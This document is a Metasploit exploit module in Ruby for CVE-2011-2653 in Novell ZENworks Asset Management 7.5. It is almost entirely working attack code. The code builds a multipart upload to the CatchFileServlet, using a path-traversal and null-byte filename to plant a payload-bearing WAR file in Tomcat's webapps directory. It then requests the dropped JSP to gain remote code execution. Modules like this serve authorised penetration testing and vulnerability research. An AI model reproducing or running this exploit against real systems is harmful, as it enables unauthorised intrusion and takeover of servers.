Novell ZENworks Asset Management Remote Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ZENworks Asset Management Remote Execution',  
'Description' => %q{  
This module exploits a path traversal flaw in Novell ZENworks Asset Management  
7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file  
outside of the MalibuUploadDirectory and then make a secondary request that allows  
for arbitrary code execution.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-2653' ],  
[ 'OSVDB', '77583' ],  
[ 'BID', '50966' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],  
[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]  
],  
'Privileged' => true,  
'Platform' => [ 'java' ],  
'Targets' =>  
[  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
},  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 02 2011'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])  
], self.class )  
end  
  
def exploit  
  
# Generate the WAR containing the payload  
app_base = rand_text_alphanumeric(4+rand(32-4))  
jsp_name = rand_text_alphanumeric(8+rand(8))  
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s  
  
uid = rand_text_alphanumeric(34).to_s  
  
data = "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"  
data << "prod\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"  
data << "newreport\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"  
data << "n\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"  
data << "malibu.StartImportPAC\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"  
data << "malibu.StartImportPAC\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"  
data << "MM/dd/yyyy\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"  
data << "$\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"  
data << "start\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"  
data << ",\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"  
data << ".\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"  
data << "-\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"  
data << "yes\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"  
data << "Content-Type: application/octet-stream\r\n\r\n"  
data << war_data  
data << "\r\n"  
data << "------#{uid}\r\n"  
data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"  
data << "Html/UploadSuccess.html\r\n"  
data << "------#{uid}--\r\n"  
  
res = send_request_cgi(  
{  
'uri' => "/rtrlet/catch",  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=----#{uid}",  
'data' => data,  
})  
  
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")  
  
select(nil, nil, nil, 10)  
  
if (res.code == 500)  
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")  
send_request_raw(  
{  
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',  
'method' => 'GET',  
})  
else  
print_error("WAR upload failed...")  
end  
  
end  
  
end  
`